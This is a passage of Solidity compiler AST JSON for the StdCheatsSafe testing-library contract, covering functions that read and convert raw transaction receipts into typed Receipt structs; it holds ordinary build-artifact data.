memory"}},"functionReturnParameters":4774,"id":4818,"nodeType":"Return","src":"15992:40:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readReceipt","nameLocation":"15587:11:3","parameters":{"id":4770,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4767,"mutability":"mutable","name":"path","nameLocation":"15613:4:3","nodeType":"VariableDeclaration","scope":4820,"src":"15599:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4766,"name":"string","nodeType":"ElementaryTypeName","src":"15599:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":4769,"mutability":"mutable","name":"index","nameLocation":"15627:5:3","nodeType":"VariableDeclaration","scope":4820,"src":"15619:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":4768,"name":"uint256","nodeType":"ElementaryTypeName","src":"15619:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"15598:35:3"},"returnParameters":{"id":4774,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4773,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4820,"src":"15665:14:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt"},"typeName":{"id":4772,"nodeType":"UserDefinedTypeName","pathNode":{"id":4771,"name":"Receipt","nameLocations":["15665:7:3"],"nodeType":"IdentifierPath","referencedDeclaration":3695,"src":"15665:7:3"},"referencedDeclaration":3695,"src":"15665:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_storage_ptr","typeString":"struct StdCheatsSafe.Receipt"}},"visibility":"internal"}],"src":"15664:16:3"},"scope":5537,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":4869,"nodeType":"FunctionDefinition","src":"16045:347:3","nodes":[],"body":{"id":4868,"nodeType":"Block","src":"16159:233:3","nodes":[],"statements":[{"assignments":[4835],"declarations":[{"constant":false,"id":4835,"mutability":"mutable","name":"receipts","nameLocation":"16186:8:3","nodeType":"VariableDeclaration","scope":4868,"src":"16169:25:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Receipt[]"},"typeName":{"baseType":{"id":4833,"nodeType":"UserDefinedTypeName","pathNode":{"id":4832,"name":"Receipt","nameLocations":["16169:7:3"],"nodeType":"IdentifierPath","referencedDeclaration":3695,"src":"16169:7:3"},"referencedDeclaration":3695,"src":"16169:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_storage_ptr","typeString":"struct StdCheatsSafe.Receipt"}},"id":4834,"nodeType":"ArrayTypeName","src":"16169:9:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Receipt[]"}},"visibility":"internal"}],"id":4843,"initialValue":{"arguments":[{"expression":{"id":4840,"name":"rawReceipts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4824,"src":"16211:11:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory[] memory"}},"id":4841,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16223:6:3","memberName":"length","nodeType":"MemberAccess","src":"16211:18:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":4839,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"NewExpression","src":"16197:13:3","typeDescriptions":{"typeIdentifier":"t_function_objectcreation_pure$_t_uint256_$returns$_t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr_$","typeString":"function (uint256) pure returns (struct StdCheatsSafe.Receipt memory[] memory)"},"typeName":{"baseType":{"id":4837,"nodeType":"UserDefinedTypeName","pathNode":{"id":4836,"name":"Receipt","nameLocations":["16201:7:3"],"nodeType":"IdentifierPath","referencedDeclaration":3695,"src":"16201:7:3"},"referencedDeclaration":3695,"src":"16201:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_storage_ptr","typeString":"struct StdCheatsSafe.Receipt"}},"id":4838,"nodeType":"ArrayTypeName","src":"16201:9:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Receipt[]"}}},"id":4842,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16197:33:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory[] memory"}},"nodeType":"VariableDeclarationStatement","src":"16169:61:3"},{"body":{"id":4864,"nodeType":"Block","src":"16285:76:3","statements":[{"expression":{"id":4862,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":4854,"name":"receipts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4835,"src":"16299:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory[] memory"}},"id":4856,"indexExpression":{"id":4855,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4845,"src":"16308:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"16299:11:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"baseExpression":{"id":4858,"name":"rawReceipts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4824,"src":"16335:11:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory[] memory"}},"id":4860,"indexExpression":{"id":4859,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4845,"src":"16347:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"16335:14:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}],"id":4857,"name":"rawToConvertedReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4990,"src":"16313:21:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_struct$_RawReceipt_$3666_memory_ptr_$returns$_t_struct$_Receipt_$3695_memory_ptr_$","typeString":"function (struct StdCheatsSafe.RawReceipt memory) pure returns (struct StdCheatsSafe.Receipt memory)"}},"id":4861,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16313:37:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"src":"16299:51:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4863,"nodeType":"ExpressionStatement","src":"16299:51:3"}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":4850,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4847,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4845,"src":"16256:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"expression":{"id":4848,"name":"rawReceipts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4824,"src":"16260:11:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory[] memory"}},"id":4849,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16272:6:3","memberName":"length","nodeType":"MemberAccess","src":"16260:18:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"16256:22:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":4865,"initializationExpression":{"assignments":[4845],"declarations":[{"constant":false,"id":4845,"mutability":"mutable","name":"i","nameLocation":"16253:1:3","nodeType":"VariableDeclaration","scope":4865,"src":"16245:9:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":4844,"name":"uint256","nodeType":"ElementaryTypeName","src":"16245:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":4846,"nodeType":"VariableDeclarationStatement","src":"16245:9:3"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":4852,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"16280:3:3","subExpression":{"id":4851,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4845,"src":"16280:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4853,"nodeType":"ExpressionStatement","src":"16280:3:3"},"nodeType":"ForStatement","src":"16240:121:3"},{"expression":{"id":4866,"name":"receipts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4835,"src":"16377:8:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory[] memory"}},"functionReturnParameters":4830,"id":4867,"nodeType":"Return","src":"16370:15:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"rawToConvertedReceipts","nameLocation":"16054:22:3","parameters":{"id":4825,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4824,"mutability":"mutable","name":"rawReceipts","nameLocation":"16097:11:3","nodeType":"VariableDeclaration","scope":4869,"src":"16077:31:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt[]"},"typeName":{"baseType":{"id":4822,"nodeType":"UserDefinedTypeName","pathNode":{"id":4821,"name":"RawReceipt","nameLocations":["16077:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3666,"src":"16077:10:3"},"referencedDeclaration":3666,"src":"16077:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_storage_ptr","typeString":"struct StdCheatsSafe.RawReceipt"}},"id":4823,"nodeType":"ArrayTypeName","src":"16077:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawReceipt[]"}},"visibility":"internal"}],"src":"16076:33:3"},"returnParameters":{"id":4830,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4829,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4869,"src":"16141:16:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Receipt[]"},"typeName":{"baseType":{"id":4827,"nodeType":"UserDefinedTypeName","pathNode":{"id":4826,"name":"Receipt","nameLocations":["16141:7:3"],"nodeType":"IdentifierPath","referencedDeclaration":3695,"src":"16141:7:3"},"referencedDeclaration":3695,"src":"16141:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_storage_ptr","typeString":"struct StdCheatsSafe.Receipt"}},"id":4828,"nodeType":"ArrayTypeName","src":"16141:9:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Receipt[]"}},"visibility":"internal"}],"src":"16140:18:3"},"scope":5537,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":4990,"nodeType":"FunctionDefinition","src":"16398:962:3","nodes":[],"body":{"id":4989,"nodeType":"Block","src":"16506:854:3","nodes":[],"statements":[{"assignments":[4880],"declarations":[{"constant":false,"id":4880,"mutability":"mutable","name":"receipt","nameLocation":"16531:7:3","nodeType":"VariableDeclaration","scope":4989,"src":"16516:22:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt"},"typeName":{"id":4879,"nodeType":"UserDefinedTypeName","pathNode":{"id":4878,"name":"Receipt","nameLocations":["16516:7:3"],"nodeType":"IdentifierPath","referencedDeclaration":3695,"src":"16516:7:3"},"referencedDeclaration":3695,"src":"16516:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_storage_ptr","typeString":"struct StdCheatsSafe.Receipt"}},"visibility":"internal"}],"id":4881,"nodeType":"VariableDeclarationStatement","src":"16516:22:3"},{"expression":{"id":4887,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4882,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"16548:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4884,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"16556:9:3","memberName":"blockHash","nodeType":"MemberAccess","referencedDeclaration":3668,"src":"16548:17:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4885,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"16568:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4886,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16579:9:3","memberName":"blockHash","nodeType":"MemberAccess","referencedDeclaration":3639,"src":"16568:20:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"16548:40:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":4888,"nodeType":"ExpressionStatement","src":"16548:40:3"},{"expression":{"id":4894,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4889,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"16598:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4891,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"16606:2:3","memberName":"to","nodeType":"MemberAccess","referencedDeclaration":3690,"src":"16598:10:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4892,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"16611:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4893,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16622:2:3","memberName":"to","nodeType":"MemberAccess","referencedDeclaration":3661,"src":"16611:13:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"16598:26:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":4895,"nodeType":"ExpressionStatement","src":"16598:26:3"},{"expression":{"id":4901,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4896,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"16634:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4898,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"16642:4:3","memberName":"from","nodeType":"MemberAccess","referencedDeclaration":3678,"src":"16634:12:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4899,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"16649:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4900,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16660:4:3","memberName":"from","nodeType":"MemberAccess","referencedDeclaration":3649,"src":"16649:15:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"16634:30:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":4902,"nodeType":"ExpressionStatement","src":"16634:30:3"},{"expression":{"id":4908,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4903,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"16674:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4905,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"16682:15:3","memberName":"contractAddress","nodeType":"MemberAccess","referencedDeclaration":3672,"src":"16674:23:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4906,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"16700:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4907,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16711:15:3","memberName":"contractAddress","nodeType":"MemberAccess","referencedDeclaration":3643,"src":"16700:26:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"16674:52:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":4909,"nodeType":"ExpressionStatement","src":"16674:52:3"},{"expression":{"id":4917,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4910,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"16736:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4912,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"16744:17:3","memberName":"effectiveGasPrice","nodeType":"MemberAccess","referencedDeclaration":3676,"src":"16736:25:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4914,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"16777:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4915,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16788:17:3","memberName":"effectiveGasPrice","nodeType":"MemberAccess","referencedDeclaration":3647,"src":"16777:28:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4913,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"16764:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":4916,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16764:42:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"16736:70:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4918,"nodeType":"ExpressionStatement","src":"16736:70:3"},{"expression":{"id":4926,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4919,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"16816:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4921,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"16824:17:3","memberName":"cumulativeGasUsed","nodeType":"MemberAccess","referencedDeclaration":3674,"src":"16816:25:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4923,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"16857:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4924,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16868:17:3","memberName":"cumulativeGasUsed","nodeType":"MemberAccess","referencedDeclaration":3645,"src":"16857:28:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4922,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"16844:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":4925,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16844:42:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"16816:70:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4927,"nodeType":"ExpressionStatement","src":"16816:70:3"},{"expression":{"id":4935,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4928,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"16896:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4930,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"16904:7:3","memberName":"gasUsed","nodeType":"MemberAccess","referencedDeclaration":3680,"src":"16896:15:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4932,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"16927:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4933,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16938:7:3","memberName":"gasUsed","nodeType":"MemberAccess","referencedDeclaration":3651,"src":"16927:18:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4931,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"16914:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":4934,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16914:32:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"16896:50:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4936,"nodeType":"ExpressionStatement","src":"16896:50:3"},{"expression":{"id":4944,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4937,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"16956:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4939,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"16964:6:3","memberName":"status","nodeType":"MemberAccess","referencedDeclaration":3688,"src":"16956:14:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4941,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"16986:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4942,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16997:6:3","memberName":"status","nodeType":"MemberAccess","referencedDeclaration":3659,"src":"16986:17:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4940,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"16973:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":4943,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16973:31:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"16956:48:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4945,"nodeType":"ExpressionStatement","src":"16956:48:3"},{"expression":{"id":4953,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4946,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"17014:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4948,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17022:16:3","memberName":"transactionIndex","nodeType":"MemberAccess","referencedDeclaration":3694,"src":"17014:24:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4950,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"17054:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4951,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17065:16:3","memberName":"transactionIndex","nodeType":"MemberAccess","referencedDeclaration":3665,"src":"17054:27:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4949,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"17041:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns 